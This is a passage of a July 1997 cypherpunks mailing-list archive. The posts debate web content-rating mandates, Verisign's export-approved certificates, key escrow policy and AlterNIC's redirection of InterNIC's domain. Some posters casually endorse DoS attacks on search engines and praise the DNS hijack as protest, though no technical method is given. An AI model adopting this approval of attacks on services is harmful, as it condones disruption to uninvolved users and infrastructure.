company such as M$ were to decide any company not including rating 
systems in their browsers could be fined by M$, then that would be a 
similar situation to the one currently experienced with the government.

        Datacomms Technologies data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: FC76DA85
     "Don`t forget to mount a scratch monkey"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 19:16:01 +0800
To: cypherpunks@toad.com
Subject: Re: Fuck You Rating Systems, Inc.
Message-ID: <199707171100.NAA12476@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain



Anonymous wrote:
> 
> ANNOUNCEMENT: Fuck You Ratings Software Escapes Beta-Test!
...
> {Offer not valid in states where having sexual relations with animals
> is against local ordinances.}

  Are there any cypherpunks in Montana who are willing to serve as
a mail-drop for the rest of us?





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 03:50:25 +0800
To: Eric Murray <ericm@lne.com>
Subject: Re: The Real Plan: Making the Net Safe for Censorship
In-Reply-To: <199707162332.QAA24337@slack.lne.com>
Message-ID: <33CE6F32.5647@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Eric Murray wrote:
> 
> Declan McCullagh writes:
> >
> >
> >
> > ---------- Forwarded message ----------
> > Date: Wed, 16 Jul 1997 14:16:47 -0500
> > From: Marc Rotenberg <rotenberg@epic.org>
> > To: fight-censorship@vorlon.mit.edu
> > Subject: The Real Plan: Making the Net Safe for Censorship
> 
> That should be Making the Net Safe for SafeSurf.
> 
> The proposal is a classic example of "if you can't beat 'em in
> the marketplace, beat 'em in the legislature".  It would require
> a rating system while locking out new competition from the net
> censorshipratings field.   SafeSurf operates
> a ratings system.  Can you say "conflict of interest"?
> 
> Note provision 3, which stipuates that a rating must be "issued by a
> ratings service that has a minimum of 5,000 documented individuals usin
> its system to mark their data."
> 
> That'd kind of make it hard to start a competing ratings system, wouldn't it?
It like some unions I know.  You can't work unless you belong to the
union, but
you can't join the union unless you are working.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 03:55:18 +0800
To: Brian Lane <nexus@eskimo.com>
Subject: Re: The Big Sellout
In-Reply-To: <Pine.GSO.3.95.970715233716.9149D-100000@well.com>
Message-ID: <33CE70C5.7B5A@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Brian Lane wrote:
> 
> Declan McCullagh wrote:
> >
> > I spoke to Netscape earlier today. The company previously had announced it
> > would support PICS in a future version of Navigator. Now it's pledging to
> > support PICS in the *next* version.
> >
> > -Declan
> 
>   I don't care if Netscape supports PICS or not, as long as I still have the
> freedom to turn that option off (and that it is preferrably not enabled by
> default, or indicates in an OBVIOUS way that it is active).
Even better, lets support web browsers that do not support PICS or any
other
rateing system.

 
>   This whole thing is a load of shit though. The government is professing
> to have control over thousands of private computers and networks. No one
> has to put their kids on the net (IMHO the damn thing is a large waste of
> time, they should be reading books or building things instead), so it must
> be the parents decision to give them access -- It is therefore the parents
> responsibility to monitor their kids activities, not the governments and not
> everyone elses.
Agreed.  I would extend that to say that it is the parents responsiblity
to
teach their kids to be able to handle the unknown in a responsible way.

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 04:36:09 +0800
To: cypherpunks@cyberpass.net
Subject: AlterNIC takes over InterNIC traffic
Message-ID: <v03102802aff42e90e6e0@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



http://www.news.com/News/Item/0%2C4%2C12382%2C00.html?nd

AlterNIC takes over InterNIC traffic
   By Courtney Macavinta
July 14, 1997, 12:15 p.m. PT

 A rival domain name registry to the official Internet registrar,
InterNIC, redirected users from "www.internic.net" to its own  site last
weekend in what is being called a "protest."

 Netizens told CNET's NEWS.COM that they ended up at  AlterNIC, or
"www.alternic.net," after typing in InterNIC's  URL. AlterNIC was set up by
the enhanced Domain Name  Services to offer alternate top-level domains,
such as ".ltd,"  ".sex," and ".med."

 "By redirecting the domain name 'www.internic.net,' we are  protesting the
recent InterNIC claim to ownership of '.com,'  '.org,' and '.net,' which
they were supposed to be running in the  public trust," AlterNIC CFO Eugene
Kashpureff stated on his  site.

 "Our apologies for any trouble this DNS [domain name system]  protest has
caused you...We think we exercised restraint in the  use of our latest DNS
technology for this protest," the letter  states. "We terminated the
protest configuration at 8 a.m.  Monday, July 14."

 The AlterNIC site also contained a link that allowed visitors to  access
the actual InterNIC in the protest message.

 InterNIC is the registrar of the most valuable domain names, such  as
".com." It is administered in part by Network Solutions under  agreement
with the National Science Foundation, which ends in  March of next year.
During its tenure, Network Solutions has  collected approximately $78
million in registration fees.

 The protest is the latest move in the heated debate over who will  control
the Internet naming system, which has turned into a  lucrative business as
commercial entities fight to establish brand  awareness by using the most
coveted names. For example, the  name "business.com" was bought recently
from its registered  owner for $150,000.

 Last month, the Commerce Department asked for public comment  on the
future of the domain name system. An ad hoc committee  formed in part by
the Internet Society also proposed a plan last  year for replacing Network
Solutions and reconfiguring how the  names are handed out. Kashpureff said
he is protesting Network  Solutions' claim in its recent Securities and
Exchange filing that it  owned the property rights to ".com" and the other
popular  domains.

 "If they think they own the entire domain name space, I've got  news for
them. Over the weekend, I possessed their name," he  told CNET's NEWS.COM.

 No one at Network Solutions could be immediately reached to  comment on
whether the company will look into legal  ramifications for the rerouting
of its traffic by AlterNIC.

 Kashpureff wouldn't say how he managed to abduct InterNIC's  domain name
but did say he did it to demonstrate the system's  vulnerability. "I'm not
releasing how I did it because it would  take out the name service on the
Net. The hack was a result of a  years' worth of work under a project
called 'DNS Storm.'"

 Moreover, there is no telling how many registrations InterNIC  could have
lost due to the antic. But some Netizens who were  involuntarily
transported to the alternate site didn't seem to mind.

 "They do have a good point in the fact that those domain names  are
supposed to be in the public trust. I don't agree with the  InterNIC
monopoly either," said Jason Brunette, a Webmaster for  TCB Internet in
Wisconsin, who was rerouted to AlterNIC this  weekend when he tried to
register a domain.






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 04:39:58 +0800
To: Kent Crispin <kent@songbird.com>
Subject: Re: Censorware Summit Take II, from The Netly News
In-Reply-To: <v03102800aff35a11fa0e@[10.0.2.15]>
Message-ID: <v03102801aff42d80a712@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



>> These suggests that Yahoo, Excite, and Lycos might become tempting targets
>> of a Net-wide DoS attack until they repent.
>
>It also suggests a far more intelligent course of action, namely
>setting up a competing, non-rating, search engine somewhere else.  It
>would soon become more popular than Yahoo etc -- a tremendous
>business opportunity.

With the right timing both might be much more effective.  Sorta like the
recent InterNIC NDS theft (see my separate posting).

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Doug Peterson <fnorky@geocities.com>
Date: Fri, 18 Jul 1997 04:11:38 +0800
To: "Peter G. Neumann" <neumann@csl.sri.com>
Subject: Re: i miss carol anne cyphergrrl
In-Reply-To: <CMM.0.90.1.869152885.neumann@chiron.csl.sri.com>
Message-ID: <33CE7333.28E8@geocities.com>
MIME-Version: 1.0
Content-Type: text/plain



Peter G. Neumann wrote:
> 
> Dank U, Zooko!
> We are indeed on the horns of a dilemma.
> As long as the vendors can get away with crapware
> (with respect to security, reliability, robustness, etc.),
> there is no incentive to do better.  In info-peace, most
> folks don't care.  In info-war, the bad guys (on all sides)
> are delighted that the systems are flaky, and the good guys
> lose.  However, the governmental incentives that exist seem
> to opt for dumbing down -- despite the realization that
> governments cannot get x-worthy systems to satisfy their own
> needs.  Short-sighted parado[x|c]trinarianism abounds.
> Piet
Yes, but this keeps us security consultants in business :)

-Doug





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Steve Schear <azur@netcom.com>
Date: Fri, 18 Jul 1997 06:06:29 +0800
To: Lucky Green <adam@homeport.org>
Subject: Re: Verisign gets export approval
In-Reply-To: <v0300781aaff3f52c25a1@[207.94.249.49]>
Message-ID: <v03102804aff433a4185d@[10.0.2.15]>
MIME-Version: 1.0
Content-Type: text/plain



At 10:00 AM -0700 7/17/97, Lucky Green wrote:
>At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>>It seems to me that someone who has a one year export approved Verisign
>>cert should use it to authenticate a new top-level CA cert which they pass
>>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>>loop.
>
>Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
>extension) will activate the strong encryption in exportable browsers. This
>is hardcoded into Navigator and Internet Explorer.

That's what patch installers are for ;-)

--Steve






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 03:08:22 +0800
To: cypherpunks@cyberpass.net
Subject: <sigh>
Message-ID: <199707171854.NAA01919@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

Due to a misbehaving mailing list I have lost some mail this morning. :(

If you have sent any message to me between 00:00-13:00 GMT-0400 today
please resend the message.

Also could someone from the mailing list send me copies of the messages
that I have missed.

Thanks,

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM85dN49Co1n+aLhhAQF3fAP8Db4z+7GLaSsst8ZkGVG151NO4lIt0wbR
S5oRTbLWRQbuAGccvGvKJSLtu3QPzn1wwp3khVJiVvz6QvweMTXBd6IV7QNvhE5o
An519HaatiAICAgkPcBC5/l1SkTfcRxX8GYk1SUWI8Ockw9zyLZtY9VsbgtgD3Yk
QFqprV7VQrQ=
=fiQQ
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Robert Hettinga <rah@shipwright.com>
Date: Fri, 18 Jul 1997 02:54:31 +0800
To: "Peter D. Junger" <cypherpunks@cyberpass.net>
Subject: Re: Microsoft will NOT ship browser with RSACi on by default
In-Reply-To: <Pine.GSO.3.95.970716212852.24530B-100000@well.com>
Message-ID: <v03110766aff40f85e9eb@[139.167.130.247]>
MIME-Version: 1.0
Content-Type: text/plain



At 5:15 am -0400 on 7/17/97, Peter D. Junger wrote:


> Corporations are just parts of the government that got away.  I have
> never understood why some, though far from all, libertarians bother
> to distinguish them from the other organs of the state.

There is considerable logic to this, viz:

1. Corporations would not exist without government charter. Consequently
they have to do what governments want them to do. Being incorporated in a
number of jurisdictions helps with this, of course.

2. There are partnership options which get the same level of limited
liability, we talked about them here two or three years ago...

3. If governments dissapeared tomorrow (heh...), then business would still
happen, and large businesses would still exist given the economics of scale
inherent in our still-moderately industrial society.


Geodesic internet commerce will probably involve 'swarms' of small business
entities operating in cash-settled auction markets for goods and services,
and so the need for the integrative function corporations provide for
resources and information will eventually dissolve...

Cheers,
Bob Hettinga

-----------------
Robert Hettinga (rah@shipwright.com), Philodox
e$, 44 Farquhar Street, Boston, MA 02131 USA
"... however it may deserve respect for its usefulness and antiquity,
[predicting the end of the world] has not been found agreeable to
experience." -- Edward Gibbon, 'Decline and Fall of the Roman Empire'
The e$ Home Page: http://www.shipwright.com/






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Date: Fri, 18 Jul 1997 02:36:00 +0800
To: Bill Stewart <stewarts@ix.netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970716215758.006f071c@popd.ix.netcom.com>
Message-ID: <Pine.SOL.3.95.970717141434.17072P-100000@viper.law.miami.edu>
MIME-Version: 1.0
Content-Type: text/plain




I think it tells us that Verisign managed to convince the government that
their product is only used for authentication, not encrypting content. 
Which appears currently to be true, no?  And since AFIK (Please, someone,
correct this if I'm wrong!) you can't with netscape anyway download
another party's key that you verify with a Verisign certificate, it would
take a fair amount of work for the ordinary user to set up a secure
channel using the current Verisign infrastructure.   

The ITAR exception for authentication-only products is of long standing.

On Wed, 16 Jul 1997, Bill Stewart wrote:

> Forwarded from PGP-USERS list:
> > First PGPInc and now VeriSign? Hmmm. Is this telling us something?
> 
>      "VeriSign on Monday said it received permission from 
>        the U.S. Department of Commerce to export 128-bit 
>        strong encryption software and issue digital 
>        identifications to approved organizations based on 
>        that software. "
> 
>      "Under the 128-bit scheme approved by the U.S. 
>       government Monday, companies will not need to 
>       place their encryption keys in escrow, or submit 
>       to U.S. government key-recovery requirements in 
>      order to use VeriSign's software, company officials said."
> 
> 
> 
> #			Thanks;  Bill
> # Bill Stewart, +1-415-442-2215 stewarts@ix.netcom.com
> # You can get PGP outside the US at ftp.ox.ac.uk/pub/crypto/pgp
> #   (If this is a mailing list or news, please Cc: me on replies.  Thanks.)
> 

A. Michael Froomkin        | +1 (305) 284-4285; +1 (305) 284-6506 (fax)
Associate Professor of Law | "Cyberspace" is not a place.
U. Miami School of Law     | froomkin@law.miami.edu
P.O. Box 248087            | http://www.law.miami.edu/~froomkin
Coral Gables, FL 33124 USA | It's @%#$%$# hot here. 





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: "William H. Geiger III" <whgiii@amaranth.com>
Date: Fri, 18 Jul 1997 06:03:02 +0800
To: Lucky Green <shamrock@netcom.com>
Subject: Re: Verisign gets export approval
In-Reply-To: <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>
Message-ID: <199707171925.OAA02869@mailhub.amaranth.com>
MIME-Version: 1.0
Content-Type: text/plain



-----BEGIN PGP SIGNED MESSAGE-----

In <3.0.2.32.19970717100056.00733db4@netcom10.netcom.com>, on 07/17/97 
   at 10:00 AM, Lucky Green <shamrock@netcom.com> said:

>At 09:16 AM 7/17/97 -0700, Bill Frantz wrote:
>>It seems to me that someone who has a one year export approved Verisign
>>cert should use it to authenticate a new top-level CA cert which they pass
>>to their customers.  Cut Verisign and their nosy/noisy partner out of the
>>loop.

>Only a valid VeriSign Global ID cert (an X.509 v3 cert with a special
>extension) will activate the strong encryption in exportable browsers.
>This is hardcoded into Navigator and Internet Explorer.

Yep, fairly simmilar to "policy tokens" that were disscused on the list
last year.

Let's face it people the management of Nut$cape & Mick$loth are a bunch of
rat bastards who would sell their own mothers to make a buck.

- -- 
- ---------------------------------------------------------------
William H. Geiger III  http://www.amaranth.com/~whgiii
Geiger Consulting    Cooking With Warp 4.0

Author of E-Secure - PGP Front End for MR/2 Ice
PGP & MR/2 the only way for secure e-mail.
OS/2 PGP 2.6.3a at: http://www.amaranth.com/~whgiii/pgpmr2.html                        
- ---------------------------------------------------------------

-----BEGIN PGP SIGNATURE-----
Version: 2.6.3a
Charset: cp850
Comment: Registered_User_E-Secure_v1.1b1_ES000000

iQCVAwUBM85khI9Co1n+aLhhAQFjlQP/a5Cp4KTDNKh0wzvF/Y6YoJOd0u2swbvv
j02akFcab+mgfYGvEq9qUOmEoxw/jJ+4XXas0Zw/Ap6I8QcNEqRUQ/vAzR0UgUzo
m039NpNzT8KTo8TtX6Ry2Zhob2Wk3cpZ2+1H+mOpmYKBbXd6PZfna4u6sk2W6BTk
zNjh79taSDQ=
=TuK9
-----END PGP SIGNATURE-----





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Lucky Green <shamrock@netcom.com>
Date: Fri, 18 Jul 1997 06:03:40 +0800
To: "Michael Froomkin - U.Miami School of Law" <froomkin@law.miami.edu>
Subject: Re: Verisign gets export approval
In-Reply-To: <Pine.SOL.3.95.970717141434.17072P-100000@viper.law.miami.edu>
Message-ID: <Pine.3.89.9707171435.A21378-0100000@netcom2>
MIME-Version: 1.0
Content-Type: text/plain



On Thu, 17 Jul 1997, Michael Froomkin - U.Miami School of Law wrote:

> 
> I think it tells us that Verisign managed to convince the government that
> their product is only used for authentication, not encrypting content. 
> Which appears currently to be true, no?  And since AFIK (Please, someone,
> correct this if I'm wrong!) you can't with netscape anyway download
> another party's key that you verify with a Verisign certificate, it would
> take a fair amount of work for the ordinary user to set up a secure
> channel using the current Verisign infrastructure.   

True, the certs themselves are not covered by the export controls. But we
aren't talking about export law. We are talking about a four way
contract between Netscape, Microsoft, VeriSign, and the US government. 

Under that contract:

o VeriSign will only issue Global ID certs to US
companies with all their servers located in the US and overseas banks with
servers abroad that play by the USG's rules. Once the USG no longer approves
of the participants using strong crypto with their customers, VeriSign
will revoke the cert, disabling secure communications, and thereby severely
damaging, if not destroying, the business of the party unfortunate enough
to have relied on such a cert for their livelyhood. 

o Netscape and Microsoft get a blanket approval to ship their servers to 
non-US banks that meet the USG's criteria.

o Netscape and Microsoft also receive approval to export browsers that can 
use strong crypto *exclusively* with sites the USG and VeriSign approve of.

o The USG no longer has to waste time handling export applications it
doesn't mind approving anyway, such as those for US-friendly foreign banks.
And the USG no longer has to listen to US companies complain because they
are unable to provide their non-US customers with secure access to the 
sever located in the US.

Lastly, and most importantly, every purchaser of a VeriSign Global ID cert
allows the USG and VeriSign to install a MASTER-OFF switch in the heart of
their business. I feel sorry for the poor suckers that will lose home and 
hearth after subscribing to this fatally flawed solution.

--Lucky





From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: sar@box.cynicism.com
Date: Fri, 18 Jul 1997 04:25:38 +0800
To: cypherpunks@toad.com
Subject: Re:
In-Reply-To: <199707171645.SAA09016@basement.replay.com>
Message-ID: <3.0.2.32.19970717150037.007b2a60@box.cynicism.com>
MIME-Version: 1.0
Content-Type: text/plain



At 10:32 AM 7/17/97 -0700, you wrote:
>At 06:45 PM 7/17/97 +0200, Name Withheld by Request wrote:
>>
>>
>>On Wed, 16 Jul 1997 frissell@panix.com wrote:
>>
>>> What ever happened to "de minimus non curat lex."  The social damage
>from a 
>>> misrated website is too trivial to be believed.  Punishing it is like 
>>> executing you for farting.
>>
>>  In some cases that may not be a bad idea :). But getting back to the
>>original point, if I'm going to be subject to jail for mislabeling my
>>pages (and how do you tell, given that some systems use a numeric rating? 
>>count the nipples and add the size of any erections?) then that would 
>>seem to be a good reason to move my Web site out of America. 
>>  Idependent rating systems are a good thing, and we've talked about them
>>here many times in the past (e.g. 'repuation markets'). A mandatory
>>requirement for web authors to rate their own pages is a hideous idea
>>which will simply move more of the Web overseas, helping to destroy the US
>>economy. 
>
>Furthermore, if you have no smut on you page, but you link to offensive
>content (rated or unrated) somewhere else, how does that rate?
>
>A while back on a whim, I created a page that is based on a type of ambush
>humor.  The link describes something in a way where you think you are going
>to one thing, but go to something entirely different.  If they push
>something where you have to label everything for the most clueless out
>there, it will ruin the whole page.  (I find the idea that I might get
>prosecuted for my Goth page absurd, but it is possible considering the
>clueless morons in power.)  The page (outdated links and all) is at
>http://www.ctrl-alt-del.com/~alan/goth.html .
>
>Something else...  Why does the press refer to Gore in such terms that make
>him look like he is some sort of techno-nerd?  The man is totally without
>clues.  (I believe the proper term is "Connection to Clue-server refused by
>host.")  The "Information Superhighway" that he was pushing was a souped-up
>cable system for Ghod's sake!  (The extra bandwidth was going to be used by
>starting movies every 10-15 minutes instead of having to wait.)  The
>hearings on that were high clueless theatre...  Maybe Declan can due an
>article on how far removed Gore really is from the process.  (But that
>might offend his corporate masters...)
>
>  


What about a page saying "the hottest pics around" or "these girls must be
seen to be beliveved" or "want to see them take it all off?" but offering
no pictures the way most "porn" sites on the web do.
	How would you rate the implication that the page may contain sex or
violence if the site dosn't really contain much of anything. And if the
phrases themselves contain nothing objectionable would you have to rate the
implications?
	
	Maybe people should look on the bright side. Rating porn sites may keep
you from looking at 500 pages of links that contain no actualy pornography.
You could simply check the rating to see if there really is any sex. And
somebody could create an index that searches by rating, so you could seach
by sexual content. search for a 5 when you just want to see some skin , or
a 10 when you want to see a bit more.
	But of course people could just max the rating saying their site has more
sex than it actualy does. The powers that be would never stop them, who
would object to people saying their site is less suitable for children than
it really is.It would be like saying "this movie cant be rated r, they only
say fuck 3 times! send them all to jail for misrating the movie"






From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: nobody@REPLAY.COM (Anonymous)
Date: Thu, 17 Jul 1997 21:36:51 +0800
To: cypherpunks@toad.com
Subject: EuroEnglish
Message-ID: <199707171315.PAA03965@basement.replay.com>
MIME-Version: 1.0
Content-Type: text/plain




--------------------------------------------------------------------
ANNOUNCEMENT FROM THE EUROPEAN UNION COMMISSIONERS

An agreement has been reached to adopt English as the preferred
language for European communications, rather than German, which was the
other possibility.  As part of the negotiations, Her Majesty's Government
conceded that English spelling has some room for improvement and has 
accepted a five-year phased plan for what will be known as EuroEnglish
(Euro for short).

In the first year, "s" will be used instead of "c".  Sertainly sivil
servants will resieve this news with joy.  Also, the hard "c" will be
replaced with "k".  Not only will this klear up konfusion, but komputers 
and typewriters kan have one less letter.

There will be growing publik enthusiasm in the sekond year, when the
troublesome "ph" will be replaced by "f".  This will make words like
"fotograf" 20 per sent shorter.

In the third year, publik akseptanse of the new spelling kan be 
expekted to reach the stage where more komplikated changes are
possible.  Governments will enkorage the removal of double letters, 
which have always ben a deterent to akurate speling.  Also, al wil agre 
that the horible mes of silent "e"s in the languag is disgracful, and 
they would go.

By the fourth year, peopl wil be reseptiv to steps such as replasing 
"th" with "z" and "w" with "v".

During ze fifz year, ze unesesary "o" kan be dropd from vords kontaining 
"ou", and similar changes vud of kors be aplid to ozer kombinations of 
leters.  After zis fifz yer, ve vil hav a reli sensibl riten styl.  Zer 
vil be no mor trubls or difikultis and evrivun vil find it ezi to 
understand ech ozer.

ZE DREM VIL FINALI KUM TRU.

---------------------------------------------------------------------







From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: Declan McCullagh <declan@well.com>
Date: Fri, 18 Jul 1997 07:21:54 +0800
To: cypherpunks@toad.com
Subject: Center for Security Policy calls for domestic key escrow (fwd)
Message-ID: <Pine.GSO.3.95.970717160055.19394C-100000@well.com>
MIME-Version: 1.0
Content-Type: text/plain





---------- Forwarded message ----------
Date: Thu, 17 Jul 1997 16:00:27 -0700 (PDT)
From: Declan McCullagh <declan@well.com>
To: fight-censorship-announce@vorlon.mit.edu
Subject: Center for Security Policy calls for domestic key escrow

In the boxing ring of Washington, the Center for
Security Policy packs a hefty punch. Its faxed alerts
appear once or twice a week on the desks of thousands of
key decisionmakers. They're predictably hawkish, with
titles like "The Nation Needs MORE B-2s."

A recent one focused on encryption. The message: The
Clinton administration isn't doing *enough* to control
crypto, especially domestically:

	But a national information infrastructure also needs
	selective transparency on call to support users'
	needs to get at their encrypted data... U.S. law
	enforcement agencies in carrying out criminal
	investigations also need to be able to access voice
	communications, data records and data transmissions
	consistent with constitutional protections. The loss
	of this investigative technique, which is subject
	to strict judicial scrutiny -- would be disastrous
	for law enforcement.

	Regrettably, the Clinton Administration has been
	unwilling to stand up and say, here is what needs
	to be done -- perhaps out of a fear of alienating
	a key constituency, the computer industry.

Read on for the full text of the alert and a
well-reasoned response by ATR's Jim Lucier.

-Declan

Additional articles on crypto:

  http://pathfinder.com/netly/editorial/0,1012,931,00.html

  http://pathfinder.com/netly/opinion/0,1042,1022,00.html

**************

No. 97-D 88

DECISION BRIEF
25 June 1997
For Immediate Release
(202) 466-0515

Breaking the Code on the Encryption Debate: National
Security Interests Are Being Jeopardized

(Washington, D.C.): With relatively little fanfare, a
truly momentous public policy debate is taking place
in Washington. Unfortunately, all other things being
equal, it seems likely that the outcome of this debate
concerning the domestic use, foreign export and
international regulation of encryption techniques will
do grievous harm to the national security interests of
the United States.

'You Can't Tell the Players...'

Such an extraordinary, and ominous, result is in
prospect due to several factors:

By its very nature, encryption -- a generic name for
numerous means of encoding computer, voice or other
transmissions of data so as to conceal the contents
from unauthorized access -- is one of the most complex
and obscure of sciences. Given its direct relevance
for the protection of classified U.S. government
information and for the penetration of foreign
governments and other entities' secure communications,
the U.S. National Security Agency (NSA) has jealously
tried to shield from public view as much as possible
about the technology and techniques involved in
encryption and code-breaking.

The necessary secretiveness associated with what NSA
does and how the spread of encryption systems might
affect the American ability to perform signals
intelligence (SIGINT) by intercepting and monitoring
foreign communications enormously complicates this
debate.

Robust encryption at home contributes to national
security as well as protecting American industry,
critical information networks and citizens' privacy.
But a national information infrastructure also needs
selective transparency on call to support users' needs
to get at their encrypted data.

U.S. law enforcement agencies in carrying out criminal
investigations also need to be able to access voice
communications, data records and data transmissions
consistent with constitutional protections. The loss
of this investigative technique, which is subject to
strict judicial scrutiny -- would be disastrous for
law enforcement.

Widespread use of unbreakable encryption is exactly
what terrorists, drug lords, pedophiles and their ilk
want to see. But law enforcement needs a controlled
window into this encryption as part of its
responsibility to detect, prevent or prosecute
criminal behavior. Experience with court-ordered
wiretaps suggests that, by requiring judicial approval
of such electronic monitoring, this function critical
to the rule of law and a civil society can be
performed without risk of serious abuse.

Due to advances in information techniques, the
know-how and means for providing sophisticated
encryption capabilities has proliferated dramatically
in recent years. With the burgeoning use of the
Internet and other electronic devices for conducting
business, the demand for means to keep voice
communications, data records and data transfers
private has also grown tremendously.

U.S. manufacturers of computer software and hardware
-- many of whom have been key supporters of and enjoy
great influence with President Clinton and his
Administration -- are demanding an opportunity to meet
this demand with encryption products that will be
exceedingly robust, if not impenetrable. They
typically point not only to the trade benefits such
sales would represent but to the prospect that foreign
manufacturers of encryption technologies will gladly
supply products not available from American sources.
Similar arguments have proven effective in obtaining
Administration support for the wholesale elimination
of export controls on powerful computers -- even
supercomputers.

President Clinton has already issued an Executive
Order substantially liberalizing the export of
powerful encryption capabilities. Under its terms,
encryption programs involving up to 40-bit keys (in
layman's terms, the number of variables used in
combination to conceal a given piece of encrypted
message traffic, one of several factors determining
the robustness of an encryption program) can be
exported without a license. The Executive Order also
permits programs of any strength to be exported
provided they have a "key recovery" capability (i.e.,
a code-breaking spare key has been created) -- even if
that key resides with the purchaser of such
encryption.

Civil libertarians -- including some conservatives
with well-deserved reputations for concern about U.S.
national security -- have taken the position that
techniques which impede or preclude government
monitoring of electronic transmissions are highly
desirable. Their enthusiasm for the most widespread
proliferation of encryption techniques, both
domestically and internationally, provides tremendous
political cover for others with more suspect
motivations.

Counter-culture opponents of U.S. government power,
including some holding high office in the Clinton
Administration, appear untroubled by the diminution of
American capabilities to perform signals intelligence
-- historically an area of decisive and strategically
vital advantage for the United States.(1) Evidently,
they are no more concerned by the other side of this
coin: Thanks to the Clinton-approved transfer of
American supercomputers and other powerful data
processing systems, foreign governments are likely to
have much enhanced capabilities to perform their own
code-breaking operations, further reducing U.S.
dominance in the field.

The Legislative Context

Against this backdrop, several bills have been
introduced reflecting two basic approaches. The first
sponsored by Senators Conrad Burns (R-MT) and Patrick
Leahy (D-VT) in the Senate and by Rep. Robert
Goodlatte (R-VA) in the House would essentially
eliminate controls on the export of encryption. This
legislation is favored by the computer software and
hardware industries and a number of civil
libertarians. Senate Majority Leader Trent Lott has
thrown his support behind the Burns-Leahy bill.

A bill recently introduced by Senator John McCain,
chairman of the Senate Commerce Committee, presents an
alternative approach. It attempts to "split the
difference," addressing domestic law enforcement
concerns by way of creating incentives for U.S.
manufacturers to participate in a key management
infrastructure (i.e., establishing means whereby
federal agencies, with appropriate court orders, can
obtain the ability to read encrypted communications).
While the incentives to do so are significant, the
companies would be under no requirement to take part
in this arrangement.

As a sop to the encryption industry, however, the
McCain legislation would make several concessions that
could be injurious to the national security. First, it
would raise the threshold for unlicenced exports from
40 bits to 56 bits. This represents a dramatic
increase in the power of encryption programs that will
find their way into the hands of hostile powers,
international terrorists and other foreign criminal
elements -- and will add dramatically to the time and
computing power required by U.S. intelligence to
monitor their activities.

Second, the McCain legislation calls for the creation
of an industry-government advisory board tasked to
consider and jointly develop recommendations
concerning future standards for encryption exports.
Such an arrangement would put those responsive to
multinational stockholders on an essentially equal
footing with government agencies responsible for the
national security. In addition, the bill would mandate
foreign-availability assessments -- a pretext
frequently used by industry to argue for even the most
irresponsible transfers of U.S. technology.(2)

Parsing Out the Issues

There are, in fact, three separate issues involved in
the present encryption debate -- issues that have, to
some extent, been commingled by the Clinton
Administration, it appears in an effort to obscure
what is at stake for a vital national security
capability.

1. Domestic Policy

Encryption products are the future for the privacy and
security of communications and information. Americans
have a right to be secure in the knowledge that their
private communications and information remain private,
and that they can conduct electronic commercial
transactions reasonably safe from fraud or compromise.
Security embedded in consumer goods (as well as in
information systems) needs to become a common part of
how business works in this country. There is today no
restriction on the use of encryption within the United
States. Americans may import any encryption devices
and software into the U.S. There are, however,
restrictions on the export of U.S. encryption items.

Unfortunately, encryption in the hands of domestic
criminals can be a menace to American business and
society, enabling them to hide illicit records and
transactions. For law enforcement today, encrypted
communications mean no electronic surveillance.
Court-ordered wiretaps may be unenforceable. Because
of the importance of court-ordered electronic
surveillance to law enforcement, law enforcement
agencies across the country believe the impact of
widely proliferating encryption will be disastrous for
them, unless they have a means of lawfully and
promptly decrypting communications and information of
criminal suspects.

Accordingly, the United States requires common
standards for accessing encrypted data and
communications (known as "key recovery"). Importantly,
such standards are required not only by law
enforcement but in order to support commercial needs
(for example, companies need to be able to get at
their electronic records if the person who encrypted
them dies or turns into a vindictive disgruntled
employee). Consumers also have a vested interest in
ensuring that standards exist whereby they can be
